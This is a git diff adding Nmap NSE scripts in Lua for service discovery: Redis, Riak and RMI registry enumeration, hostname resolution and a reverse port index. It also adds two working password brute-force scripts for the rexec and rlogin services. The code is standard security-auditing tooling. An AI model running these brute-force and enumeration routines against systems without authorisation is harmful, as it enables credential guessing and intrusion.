+ port.version.cpe = port.version.cpe or {}
+ table.insert(port.version.cpe, 'cpe:/a:redis:redis:' .. val)
+ nmap.set_port_version(host, port)
+ return val
+end
+
+local function cb_parse_architecture(host, port, val)
+ val = ("%s bits"):format(val)
+ port.version.extrainfo = val
+ nmap.set_port_version(host, port)
+ return val
+end
+
+local filter = {
+
+ ["redis_version"] = { name = "Version", func = cb_parse_version },
+ ["os"] = { name = "Operating System" },
+ ["arch_bits"] = { name = "Architecture", func = cb_parse_architecture },
+ ["process_id"] = { name = "Process ID"},
+ ["uptime"] = { name = "Uptime", func = function(h, p, v) return ("%s seconds"):format(v) end },
+ ["used_cpu_sys"]= { name = "Used CPU (sys)"},
+ ["used_cpu_user"] = { name = "Used CPU (user)"},
+ ["connected_clients"] = { name = "Connected clients"},
+ ["connected_slaves"] = { name = "Connected slaves"},
+ ["used_memory_human"] = { name = "Used memory"},
+ ["role"] = { name = "Role"}
+
+}
+
+local order = {
+ "redis_version", "os", "arch_bits", "process_id", "used_cpu_sys",
+ "used_cpu_user", "connected_clients", "connected_slaves",
+ "used_memory_human", "role"
+}
+
+local extras = {
+ {
+ -- https://redis.io/commands/config-get/
+ "Bind addresses", {"CONFIG", "GET", "bind"}, function (data)
+ if data[1] ~= "bind" or not data[2] then
+ return nil
+ end
+ local restab = stringaux.strsplit(" ", data[2])
+ for i, ip in ipairs(restab) do
+ if ip == '' then restab[i] = '0.0.0.0' end
+ end
+ return restab
+ end
+ },
+ {
+ -- https://redis.io/commands/pubsub-channels/
+ "Active channels", {"PUBSUB", "CHANNELS"}, function (data)
+ local channels = {}
+ local omitted = 0
+ local limit = nmap.verbosity() <= 1 and 20 or false
+ for _, channel in ipairs(data) do
+ if limit and #channels >= limit then
+ omitted = omitted + 1
+ else
+ table.insert(channels, channel)
+ end
+ end
+
+ if omitted > 0 then
+ table.insert(channels, ("(omitted %s item(s), use verbose mode -v to show them)"):format(omitted))
+ end
+ return #channels > 0 and channels or nil
+ end
+ },
+ {
+ -- https://redis.io/commands/client-list/
+ "Client connections", {"CLIENT", "LIST"}, function(data)
+ if not data then
+ stdnse.debug1("Failed to parse response from server")
+ return nil
+ end
+
+ local client_ips = {}
+ for conn in data:gmatch("[^\n]+") do
+ local ip = conn:match("%f[^%s\0]addr=%[?([%x:.]+)%]?:%d+%f[%s\0]")
+ if ip then
+ local binip = ipOps.ip_to_str(ip)
+ if binip then
+ -- prepending length sorts IPv4 and IPv6 separately
+ client_ips[string.pack("s1", binip)] = binip
+ end
+ end
+ end
+
+ local out = {}
+ local keys = tableaux.keys(client_ips)
+ table.sort(keys)
+ for _, packed in ipairs(keys) do
+ table.insert(out, ipOps.str_to_ip(client_ips[packed]))
+ end
+ return #out > 0 and out or nil
+ end
+ },
+ {
+ -- https://redis.io/commands/cluster-nodes/
+ "Cluster nodes", {"CLUSTER", "NODES"}, function(data)
+ if not data then
+ stdnse.debug1("Failed to parse response from server")
+ return nil
+ end
+
+ local out = {}
+ for node in data:gmatch("[^\n]+") do
+ local ipport, flags = node:match("^%x+%s+([%x.:%[%]]+)@?%d*%s+(%S+)")
+ if ipport then
+ table.insert(out, ("%s (%s)"):format(ipport, flags))
+ else
+ stdnse.debug1("Unable to parse cluster node info")
+ end
+ end
+ return #out > 0 and out or nil
+ end
+ },
+}
+
+action = function(host, port)
+
+ local helper = redis.Helper:new(host, port)
+ local status = helper:connect()
+ if( not(status) ) then
+ return fail("Failed to connect to server")
+ end
+
+ -- do we have a service password
+ local c = creds.Credentials:new(creds.ALL_DATA, host, port)
+ local cred = c:getCredentials(creds.State.VALID + creds.State.PARAM)()
+
+ if ( cred and cred.pass ) then
+ local status, response = helper:reqCmd("AUTH", cred.pass)
+ if ( not(status) ) then
+ helper:close()
+ return fail(response)
+ end
+ end
+
+ local status, response = helper:reqCmd("INFO")
+ if ( not(status) ) then
+ helper:close()
+ return fail(response)
+ end
+
+ if ( redis.Response.Type.ERROR == response.type ) then
+ if ( "-ERR operation not permitted" == response.data ) or
+ ( "-NOAUTH Authentication required." == response.data ) then
+ return fail("Authentication required")
+ end
+ return fail(response.data)
+ end
+
+ local restab = stringaux.strsplit("\r\n", response.data)
+ if ( not(restab) or 0 == #restab ) then
+ return fail("Failed to parse response from server")
+ end
+
+ local kvs = {}
+ for _, item in ipairs(restab) do
+ local k, v = item:match("^([^:]*):(.*)$")
+ if k ~= nil then
+ kvs[k] = v
+ end
+ end
+
+ local result = stdnse.output_table()
+ for _, item in ipairs(order) do
+ if kvs[item] then
+ local name = filter[item].name
+ local val
+
+ if filter[item].func then
+ val = filter[item].func(host, port, kvs[item])
+ else
+ val = kvs[item]
+ end
+ result[name] = val
+ end
+ end
+
+ for i=1, #extras do
+ local name = extras[i][1]
+ local cmd = extras[i][2]
+ local process = extras[i][3]
+
+ local status, response = helper:reqCmd(table.unpack(cmd))
+ if status and redis.Response.Type.ERROR ~= response.type then
+ result[name] = process(response.data)
+ end
+ end
+ helper:close()
+ return result
+end
diff --git a/scripts/resolveall.nse b/scripts/resolveall.nse
new file mode 100644
index 0000000..5e0fe7b
--- /dev/null
+++ b/scripts/resolveall.nse
@@ -0,0 +1,170 @@
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local target = require "target"
+local ipOps = require "ipOps"
+
+description = [[
+NOTE: This script has been replaced by the <code>--resolve-all</code>
+command-line option in Nmap 7.70
+
+Resolves hostnames and adds every address (IPv4 or IPv6, depending on
+Nmap mode) to Nmap's target list. This differs from Nmap's normal
+host resolution process, which only scans the first address (A or AAAA
+record) returned for each host name.
+
+The script will run on any target provided by hostname. It can also be fed
+hostnames via the <code>resolveall.hosts</code> argument. Because it adds new
+targets by IP address it will not run recursively, since those new targets were
+not provided by hostname. It will also not add the same IP that was initially
+chosen for scanning by Nmap.
+]]
+
+---
+-- @usage
+-- nmap --script=resolveall --script-args=newtargets,resolveall.hosts={<host1>, ...} ...
+-- nmap --script=resolveall manyaddresses.example.com
+-- @args resolveall.hosts Table of hostnames to resolve
+-- @output
+-- Pre-scan script results:
+-- | resolveall:
+-- | Host 'google.com' resolves to:
+-- | 74.125.39.106
+-- | 74.125.39.147
+-- | 74.125.39.99
+-- | 74.125.39.103
+-- | 74.125.39.105
+-- | 74.125.39.104
+-- |_ Successfully added 6 new targets
+-- Host script results:
+-- | resolveall:
+-- | Host 'chat.freenode.net' also resolves to:
+-- | 94.125.182.252
+-- | 185.30.166.37
+-- | 162.213.39.42
+-- | 193.10.255.100
+-- | 139.162.227.51
+-- | 195.154.200.232
+-- | 164.132.77.237
+-- | 185.30.166.38
+-- | 130.185.232.126
+-- | 38.229.70.22
+-- |_ Successfully added 10 new targets
+-- @xmloutput
+-- <elem key="newtargets">4</elem>
+-- <table key="hosts">
+-- <table key="google.com">
+-- <elem>74.125.39.106</elem>
+-- <elem>74.125.39.147</elem>
+-- <elem>74.125.39.99</elem>
+-- <elem>74.125.39.103</elem>
+-- </table>
+-- </table>
+
+author = "Kris Katterjohn"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"safe", "discovery"}
+
+
+prerule = function()
+ return stdnse.get_script_args("resolveall.hosts")
+end
+
+hostrule = function(host)
+ return host.targetname
+end
+
+local addtargets = function(list)
+ local sum = 0
+
+ for _, t in ipairs(list) do
+ local st, err = target.add(t)
+ if st then
+ sum = sum + 1
+ else
+ stdnse.debug1("Couldn't add target %s: %s", t, err)
+ end
+ end
+
+ return sum
+end
+
+preaction = function()
+ local hosts = stdnse.get_script_args("resolveall.hosts")
+
+ if type(hosts) ~= "table" then
+ hosts = {hosts}
+ end
+
+ local sum = 0
+ local output = {}
+ local xmloutput = {}
+ for _, host in ipairs(hosts) do
+ local status, list = nmap.resolve(host, nmap.address_family())
+ if status and #list > 0 then
+ if target.ALLOW_NEW_TARGETS then
+ sum = sum + addtargets(list)
+ end
+ xmloutput[host] = list
+ table.insert(output, string.format("Host '%s' resolves to:", host))
+ table.insert(output, list)
+ end
+ end
+
+ xmloutput = {
+ hosts = xmloutput,
+ newtargets = sum or 0,
+ }
+ if sum > 0 then
+ table.insert(output, string.format("Successfully added %d new targets", sum))
+ else
+ table.insert(output, "Use the 'newtargets' script-arg to add the results as targets")
+ end
+ table.insert(output, "Use the --resolve-all option to scan all resolved addresses without using this script.")
+ return xmloutput, stdnse.format_output(true, output)
+end
+
+hostaction = function(host)
+ local sum = 0
+ local output = {}
+ local status, list = nmap.resolve(host.targetname, nmap.address_family())
+ if not status or #list <= 0 then
+ return nil
+ end
+ -- Don't re-add this same IP!
+ for i = #list, 1, -1 do
+ if ipOps.compare_ip(list[i], "eq", host.ip) then
+ table.remove(list, i)
+ end
+ end
+ if target.ALLOW_NEW_TARGETS then
+ sum = sum + addtargets(list)
+ end
+ table.insert(output, string.format("Host '%s' also resolves to:", host.targetname))
+ table.insert(output, list)
+
+ local xmloutput = {
+ addresses = list,
+ newtargets = sum or 0,
+ }
+ if sum > 0 then
+ table.insert(output, string.format("Successfully added %d new targets", sum))
+ else
+ table.insert(output, "Use the 'newtargets' script-arg to add the results as targets")
+ end
+ table.insert(output, ("Use the --resolve-all option to scan all resolved addresses without using this script."):format(host.targetname))
+ return xmloutput, stdnse.format_output(true, output)
+end
+
+local ActionsTable = {
+ -- prerule: resolve via script-args
+ prerule = preaction,
+ -- hostrule: resolve via scanned host
+ hostrule = hostaction
+}
+
+-- execute the action function corresponding to the current rule
+action = function(...) return ActionsTable[SCRIPT_TYPE](...) end
diff --git a/scripts/reverse-index.nse b/scripts/reverse-index.nse
new file mode 100644
index 0000000..04e37d4
--- /dev/null
+++ b/scripts/reverse-index.nse
@@ -0,0 +1,121 @@
+local ipOps = require "ipOps"
+local nmap = require "nmap"
+local outlib = require "outlib"
+local stdnse = require "stdnse"
+local table = require "table"
+local tableaux = require "tableaux"
+
+description = [[
+Creates a reverse index at the end of scan output showing which hosts run a
+particular service. This is in addition to Nmap's normal output listing the
+services on each host.
+]]
+
+---
+-- @usage
+-- nmap --script reverse-index <hosts/networks>
+--
+-- @output
+-- Post-scan script results:
+-- | reverse-index:
+-- | 22/tcp: 192.168.0.60
+-- | 23/tcp: 192.168.0.100
+-- | 80/tcp: 192.168.0.70
+-- | 445/tcp: 192.168.0.1
+-- | 53/udp: 192.168.0.1, 192.168.0.60, 192.168.0.70, 192.168.0.105
+-- |_ 5353/udp: 192.168.0.1, 192.168.0.60, 192.168.0.70, 192.168.0.105
+--
+-- @args reverse-index.mode the output display mode, can be either horizontal
+-- or vertical (default: horizontal)
+-- @args reverse-index.names If set, index results by service name instead of
+-- port number. Unknown services will be listed by port number.
+--
+-- @xmloutput
+-- <table key="ftp/tcp">
+-- <elem>127.0.0.1</elem>
+-- </table>
+-- <table key="http/tcp">
+-- <elem>45.33.32.156</elem>
+-- <elem>127.0.0.1</elem>
+-- <elem>172.217.9.174</elem>
+-- </table>
+-- <table key="https/tcp">
+-- <elem>172.217.9.174</elem>
+-- </table>
+-- <table key="smtp/tcp">
+-- <elem>127.0.0.1</elem>
+-- </table>
+-- <table key="ssh/tcp">
+-- <elem>45.33.32.156</elem>
+-- <elem>127.0.0.1</elem>
+-- </table>
+--
+
+-- Version 0.1
+-- Created 11/22/2011 - v0.1 - created by Patrik Karlsson
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = { "safe" }
+
+-- the postrule displays the reverse-index once all hosts are scanned
+postrule = function() return true end
+
+-- the hostrule iterates over open ports for the host and pushes them into the registry
+hostrule = function() return true end
+
+hostaction = function(host)
+ local names = stdnse.get_script_args(SCRIPT_NAME .. ".names")
+ stdnse.debug1("names = %s", names)
+ nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {tcp={}, udp={}}
+ local db = nmap.registry[SCRIPT_NAME]
+ for _, s in ipairs({"open", "open|filtered"}) do
+ for _, p in ipairs({"tcp","udp"}) do
+ local port = nil
+ while( true ) do
+ port = nmap.get_ports(host, port, p, s)
+ if ( not(port) ) then break end
+ local key = names and port.service or port.number
+ if key == "unknown" then
+ -- If they are sorting by name, don't lump all "unknown" together.
+ key = port.number
+ end
+ db[p][key] = db[p][key] or {}
+ table.insert(db[p][key], host.ip)
+ end
+ end
+ end
+end
+
+postaction = function()
+ local db = nmap.registry[SCRIPT_NAME]
+ if ( db == nil ) then
+ return nil
+ end
+
+ local results
+ local mode = stdnse.get_script_args("reverse-index.mode") or "horizontal"
+
+ local results = stdnse.output_table()
+ for proto, ports in pairs(db) do
+ local portnumbers = tableaux.keys(ports)
+ table.sort(portnumbers)
+ for _, port in ipairs(portnumbers) do
+ local result_entries = ports[port]
+ ipOps.ip_sort(result_entries)
+ if mode == 'horizontal' then
+ outlib.list_sep(result_entries)
+ end
+ results[("%s/%s"):format(port, proto)] = result_entries
+ end
+ end
+
+ return results
+end
+
+local Actions = {
+ hostrule = hostaction,
+ postrule = postaction
+}
+
+-- execute the action function corresponding to the current rule
+action = function(...) return Actions[SCRIPT_TYPE](...) end
diff --git a/scripts/rexec-brute.nse b/scripts/rexec-brute.nse
new file mode 100644
index 0000000..4e09e83
--- /dev/null
+++ b/scripts/rexec-brute.nse
@@ -0,0 +1,113 @@
+local brute = require "brute"
+local creds = require "creds"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+description=[[
+Performs brute force password auditing against the classic UNIX rexec (remote exec) service.
+]]
+
+---
+-- @usage
+-- nmap -p 512 --script rexec-brute <ip>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 512/tcp open exec
+-- | rexec-brute:
+-- | Accounts
+-- | nmap:test - Valid credentials
+-- | Statistics
+-- |_ Performed 16 guesses in 7 seconds, average tps: 2
+--
+-- @args rexec-brute.timeout socket timeout for connecting to rexec (default 10s)
+
+-- Version 0.1
+-- Created 11/02/2011 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"brute", "intrusive"}
+
+portrule = shortport.port_or_service(512, "exec", "tcp")
+
+--- Copied from telnet-brute
+-- Decide whether a given string (presumably received from a telnet server)
+-- indicates a failed login
+--
+-- @param str The string to analyze
+-- @return Verdict (true or false)
+local is_login_failure = function (str)
+ local lcstr = str:lower()
+ return lcstr:find("%f[%w]incorrect%f[%W]")
+ or lcstr:find("%f[%w]failed%f[%W]")
+ or lcstr:find("%f[%w]denied%f[%W]")
+ or lcstr:find("%f[%w]invalid%f[%W]")
+ or lcstr:find("%f[%w]bad%f[%W]")
+end
+
+Driver = {
+
+ -- creates a new Driver instance
+ -- @param host table as received by the action function
+ -- @param port table as received by the action function
+ -- @return o instance of Driver
+ new = function(self, host, port, options)
+ local o = { host = host, port = port, timeout = options.timeout }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ connect = function(self)
+ self.socket = brute.new_socket()
+ self.socket:set_timeout(self.timeout)
+ local status, err = self.socket:connect(self.host, self.port)
+ if ( not(status) ) then
+ local err = brute.Error:new("Connection failed")
+ err:setRetry( true )
+ return false, err
+ end
+ return true
+ end,
+
+ login = function(self, username, password)
+ local cmd = "id"
+ local data = ("\0%s\0%s\0%s\0"):format(username, password, cmd)
+
+ local status, err = self.socket:send(data)
+ if ( not(status) ) then
+ local err = brute.Error:new("Send failed")
+ err:setRetry( true )
+ return false, err
+ end
+
+ local response
+ status, response = self.socket:receive()
+ if ( status and not is_login_failure(response)) then
+ return true, creds.Account:new(username, password, creds.State.VALID)
+ end
+ return false, brute.Error:new( "Incorrect password" )
+ end,
+
+ disconnect = function(self)
+ self.socket:close()
+ end,
+
+}
+
+
+local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
+arg_timeout = (arg_timeout or 10) * 1000
+
+action = function(host, port)
+ local options = {
+ timeout = arg_timeout
+ }
+
+ local engine = brute.Engine:new(Driver, host, port, options)
+ engine.options.script_name = SCRIPT_NAME
+ local status, result = engine:start()
+ return result
+end
diff --git a/scripts/rfc868-time.nse b/scripts/rfc868-time.nse
new file mode 100644
index 0000000..ebdbdbb
--- /dev/null
+++ b/scripts/rfc868-time.nse
@@ -0,0 +1,65 @@
+local comm = require "comm"
+local datetime = require "datetime"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local stringaux = require "stringaux"
+local nmap = require "nmap"
+local os = require "os"
+
+description = [[
+Retrieves the day and time from the Time service.
+]]
+
+---
+-- @output
+-- PORT STATE SERVICE
+-- 37/tcp open time
+-- |_rfc868-time: 2013-10-23T10:33:00
+
+author = "Daniel Miller"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"discovery", "safe", "version"}
+
+
+portrule = shortport.version_port_or_service(37, "time", {"tcp", "udp"})
+
+action = function(host, port)
+ local status, result = comm.exchange(host, port, "", {bytes=4})
+
+ if status then
+ local stamp
+ local width = #result
+ if width == 4 then
+ stamp = string.unpack(">I4", result)
+ port.version.extrainfo = "32 bits"
+ elseif width == 8 then
+ stamp = string.unpack(">I4", result)
+ port.version.extrainfo = "64 bits"
+ else
+ stdnse.debug1("Odd response: %s", stringaux.filename_escape(result))
+ return nil
+ end
+
+ -- RFC 868 epoch is Jan 1, 1900
+ stamp = stamp - 2208988800
+
+ -- Make sure we don't stomp a more-likely service detection.
+ if port.version.name == "time" then
+ local recvtime = os.time()
+ local diff = os.difftime(stamp,recvtime)
+ if diff < 0 then diff = -diff end
+ -- confidence decreases by 1 for each year the time is off.
+ stdnse.debug1("Time difference: %d seconds (%0.2f years)", diff, diff / 31556926)
+ local confidence = 10 - diff / 31556926
+ if confidence < 0 then confidence = 0 end
+ datetime.record_skew(host, stamp, recvtime)
+ port.version.name_confidence = confidence
+ nmap.set_port_version(host, port, "hardmatched")
+ end
+
+ return datetime.format_timestamp(stamp)
+ end
+end
diff --git a/scripts/riak-http-info.nse b/scripts/riak-http-info.nse
new file mode 100644
index 0000000..9bbde25
--- /dev/null
+++ b/scripts/riak-http-info.nse
@@ -0,0 +1,145 @@
+local http = require "http"
+local json = require "json"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local tab = require "tab"
+
+description = [[
+Retrieves information (such as node name and architecture) from a Basho Riak distributed database using the HTTP protocol.
+]]
+
+---
+-- @usage
+-- nmap -p 8098 <ip> --script riak-http-info
+--
+-- @output
+-- PORT STATE SERVICE
+-- 8098/tcp open http
+-- | riak-http-info:
+-- | Node name riak@127.0.0.1
+-- | Architecture x86_64-unknown-linux-gnu
+-- | Storage backend riak_kv_bitcask_backend
+-- | Total Memory 516550656
+-- | Crypto version 2.0.3
+-- | Skerl version 1.1.0
+-- | OS mon. version 2.2.6
+-- | Basho version 1.0.1
+-- | Lager version 0.9.4
+-- | Cluster info version 1.2.0
+-- | Luke version 0.2.4
+-- | SASL version 2.1.9.4
+-- | System driver version 1.5
+-- | Bitcask version 1.3.0
+-- | Riak search version 1.0.2
+-- | Riak kernel version 2.14.4
+-- | Riak stdlib version 1.17.4
+-- | Basho metrics version 1.0.0
+-- | WebMachine version 1.9.0
+-- | Public key version 0.12
+-- | Riak vore version 1.0.2
+-- | Riak pipe version 1.0.2
+-- | Runtime tools version 1.8.5
+-- | SSL version 4.1.5
+-- | MochiWeb version 1.5.1
+-- | Erlang JavaScript version 1.0.0
+-- | Riak kv version 1.0.2
+-- | Luwak version 1.1.2
+-- | Merge index version 1.0.1
+-- | Inets version 5.6
+-- |_ Riak sysmon version 1.0.0
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+
+
+portrule = shortport.port_or_service(8098, "http")
+
+local filter = {
+ ["sys_system_architecture"] = { name = "Architecture" },
+ ["mem_total"] = { name = "Total Memory" },
+ ["crypto_version"] = { name = "Crypto version" },
+ ["skerl_version"] = { name = "Skerl version" },
+ ["os_mon_version"] = { name = "OS mon. version" },
+ ["nodename"] = { name = "Node name" },
+ ["basho_stats_version"] = { name = "Basho version" },
+ ["lager_version"] = { name = "Lager version" },
+ ["cluster_info_version"] = { name = "Cluster info version" },
+ ["luke_version"] = { name = "Luke version" },
+ ["sasl_version"] = { name = "SASL version" },
+ ["sys_driver_version"] = { name = "System driver version" },
+ ["bitcask_version"] = { name = "Bitcask version" },
+ ["riak_search_version"] = { name = "Riak search version" },
+ ["kernel_version"] = { name = "Riak kernel version" },
+ ["stdlib_version"] = { name = "Riak stdlib version" },
+ ["basho_metrics_version"] = { name = "Basho metrics version" },
+ ["webmachine_version"] = { name = "WebMachine version" },
+ ["public_key_version"] = { name = "Public key version" },
+ ["riak_core_version"] = { name = "Riak vore version" },
+ ["riak_pipe_version"] = { name = "Riak pipe version" },
+ ["runtime_tools_version"] = { name = "Runtime tools version" },
+ ["ssl_version"] = { name = "SSL version" },
+ ["mochiweb_version"] = { name = "MochiWeb version"},
+ ["erlang_js_version"] = { name = "Erlang JavaScript version" },
+ ["riak_kv_version"] = { name = "Riak kv version" },
+ ["luwak_version"] = { name = "Luwak version"},
+ ["merge_index_version"] = { name = "Merge index version" },
+ ["inets_version"] = { name = "Inets version" },
+ ["storage_backend"] = { name = "Storage backend" },
+ ["riak_sysmon_version"] = { name = "Riak sysmon version" },
+}
+
+local order = {
+ "nodename", "sys_system_architecture", "storage_backend", "mem_total",
+ "crypto_version", "skerl_version", "os_mon_version", "basho_stats_version",
+ "lager_version", "cluster_info_version", "luke_version", "sasl_version",
+ "sys_driver_version", "bitcask_version", "riak_search_version",
+ "kernel_version", "stdlib_version", "basho_metrics_version",
+ "webmachine_version", "public_key_version", "riak_core_version",
+ "riak_pipe_version", "runtime_tools_version", "ssl_version",
+ "mochiweb_version", "erlang_js_version", "riak_kv_version",
+ "luwak_version", "merge_index_version", "inets_version", "riak_sysmon_version"
+}
+
+
+local function fail(err) return stdnse.format_output(false, err) end
+
+action = function(host, port)
+
+ local response = http.get(host, port, "/stats")
+
+ if ( not(response) or response.status ~= 200 ) then
+ return
+ end
+
+ -- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests
+ local status_404, result_404, _ = http.identify_404(host,port)
+ if ( status_404 and result_404 == 200 ) then
+ stdnse.debug1("Exiting due to ambiguous response from web server on %s:%s. All URIs return status 200.", host.ip, port.number)
+ return nil
+ end
+
+ -- Silently abort if the server responds as anything different than
+ -- MochiWeb
+ if ( response.header['server'] and
+ not(response.header['server']:match("MochiWeb")) ) then
+ return
+ end
+
+ local status, parsed = json.parse(response.body)
+ if ( not(status) ) then
+ return fail("Failed to parse response")
+ end
+
+ local result = tab.new(2)
+ for _, item in ipairs(order) do
+ if ( parsed[item] ) then
+ local name = filter[item].name
+ local val = ( filter[item].func and filter[item].func(parsed[item]) or parsed[item] )
+ tab.addrow(result, name, val)
+ end
+ end
+ return stdnse.format_output(true, tab.dump(result))
+
+end
diff --git a/scripts/rlogin-brute.nse b/scripts/rlogin-brute.nse
new file mode 100644
index 0000000..d6293a9
--- /dev/null
+++ b/scripts/rlogin-brute.nse
@@ -0,0 +1,161 @@
+local brute = require "brute"
+local creds = require "creds"
+local math = require "math"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+description=[[
+Performs brute force password auditing against the classic UNIX rlogin (remote
+login) service. This script must be run in privileged mode on UNIX because it
+must bind to a low source port number.
+]]
+
+---
+-- @usage
+-- nmap -p 513 --script rlogin-brute <ip>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 513/tcp open login
+-- | rlogin-brute:
+-- | Accounts
+-- | nmap:test - Valid credentials
+-- | Statistics
+-- |_ Performed 4 guesses in 5 seconds, average tps: 0
+--
+-- @args rlogin-brute.timeout socket timeout for connecting to rlogin (default 10s)
+
+-- Version 0.1
+-- Created 11/02/2011 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"brute", "intrusive"}
+
+portrule = shortport.port_or_service(513, "login", "tcp")
+
+-- The rlogin Driver, check the brute.lua documentation for more details
+Driver = {
+
+ -- creates a new Driver instance
+ -- @param host table as received by the action function
+ -- @param port table as received by the action function
+ -- @return o instance of Driver
+ new = function(self, host, port, options)
+ local o = { host = host, port = port, timeout = options.timeout }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- connects to the rlogin service
+ -- it sets the source port to a random value between 513 and 1024
+ connect = function(self)
+
+ local status
+
+ self.socket = brute.new_socket()
+ -- apparently wee need a source port below 1024
+ -- this approach is not very elegant as it causes address already in
+ -- use errors when the same src port is hit in a short time frame.
+ -- hopefully the retry count should take care of this as a retry
+ -- should choose a new random port as source.
+ local srcport = math.random(513, 1024)
+ self.socket:bind(nil, srcport)
+ self.socket:set_timeout(self.timeout)
+ local err
+ status, err = self.socket:connect(self.host, self.port)
+
+ if ( status ) then
+ local lport, _
+ status, _, lport = self.socket:get_info()
+ if (not(status) ) then
+ return false, "failed to retrieve socket status"
+ end
+ else
+ self.socket:close()
+ end
+ if ( not(status) ) then
+ stdnse.debug3("ERROR: failed to connect to server")
+ end
+ return status
+ end,
+
+ login = function(self, username, password)
+ local data = ("\0%s\0%s\0vt100/9600\0"):format(username, username)
+ local status, err = self.socket:send(data)
+
+ status, data = self.socket:receive()
+ if (not(status)) then
+ local err = brute.Error:new("Failed to read response from server")
+ err:setRetry( true )
+ return false, err
+ end
+ if ( data ~= "\0" ) then
+ stdnse.debug2("ERROR: Expected null byte")
+ local err = brute.Error:new( "Expected null byte" )
+ err:setRetry( true )
+ return false, err
+ end
+
+ status, data = self.socket:receive()
+ if (not(status)) then
+ local err = brute.Error:new("Failed to read response from server")
+ err:setRetry( true )
+ return false, err
+ end
+ if ( data ~= "Password: " ) then
+ stdnse.debug2("ERROR: Expected password prompt")
+ local err = brute.Error:new( "Expected password prompt" )
+ err:setRetry( true )
+ return false, err
+ end
+
+ status, err = self.socket:send(password .. "\r")
+ status, data = self.socket:receive()
+ if (not(status)) then
+ local err = brute.Error:new("Failed to read response from server")
+ err:setRetry( true )
+ return false, err
+ end
+
+ status, data = self.socket:receive()
+ if (not(status)) then
+ local err = brute.Error:new("Failed to read response from server")
+ err:setRetry( true )
+ return false, err
+ end
+
+ if ( data:match("[Pp]assword") or data:match("[Ii]ncorrect") ) then
+ return false, brute.Error:new( "Incorrect password" )
+ end
+
+ return true, creds.Account:new(username, password, creds.State.VALID)
+ end,
+
+ disconnect = function(self)
+ return self.socket:close()
+ end,
+}
+
+local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
+arg_timeout = (arg_timeout or 10) * 1000
+
+action = function(host, port)
+
+ if ( not(nmap.is_privileged()) ) then
+ stdnse.verbose1("Script must be run in privileged mode. Skipping.")
+ return stdnse.format_output(false, "rlogin-brute needs Nmap to be run in privileged mode")
+ end
+
+ local options = {
+ timeout = arg_timeout
+ }
+
+ local engine = brute.Engine:new(Driver, host, port, options)
+ engine.options.script_name = SCRIPT_NAME
+ local status, result = engine:start()
+ return result
+end
diff --git a/scripts/rmi-dumpregistry.nse b/scripts/rmi-dumpregistry.nse
new file mode 100644
index 0000000..e7ae039
--- /dev/null
+++ b/scripts/rmi-dumpregistry.nse
@@ -0,0 +1,234 @@
+local rmi = require "rmi"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Connects to a remote RMI registry and attempts to dump all of its
+objects.
+
+First it tries to determine the names of all objects bound in the
+registry, and then it tries to determine information about the
+objects, such as the the class names of the superclasses and
+interfaces. This may, depending on what the registry is used for, give
+valuable information about the service. E.g, if the app uses JMX (Java
+Management eXtensions), you should see an object called "jmxconnector"
+on it.
+
+It also gives information about where the objects are located, (marked
+with @<ip>:port in the output).
+
+Some apps give away the classpath, which this scripts catches in
+so-called "Custom data".
+]]
+
+---
+-- @usage nmap --script rmi-dumpregistry -p 1098 <host>
+-- @output
+-- PORT STATE SERVICE REASON
+-- 1099/tcp open rmiregistry syn-ack
+-- | rmi-dumpregistry:
+-- | jmxrmi
+-- | javax.management.remote.rmi.RMIServerImpl_Stub
+-- | @127.0.1.1:40353
+-- | extends
+-- | java.rmi.server.RemoteStub
+-- | extends
+-- |_ java.rmi.server.RemoteObject
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 1099/tcp open rmiregistry syn-ack
+-- | rmi-dumpregistry:
+-- | cfassembler/default
+-- | coldfusion.flex.rmi.DataServicesCFProxyServer_Stub
+-- | @192.168.0.3:1271
+-- | extends
+-- | java.rmi.server.RemoteStub
+-- | extends
+-- | java.rmi.server.RemoteObject
+-- | Custom data
+-- | Classpath
+-- | file:/C:/CFusionMX7/runtime/../lib/ant-launcher.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/ant.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/axis.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/backport-util-concurrent.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/bcel.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/cdo.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/cdohost.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/cf4was.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/cf4was_ae.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/cfmx-ssl.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/cfusion.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/commons-beanutils-1.5.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/commons-collections-2.1.jar
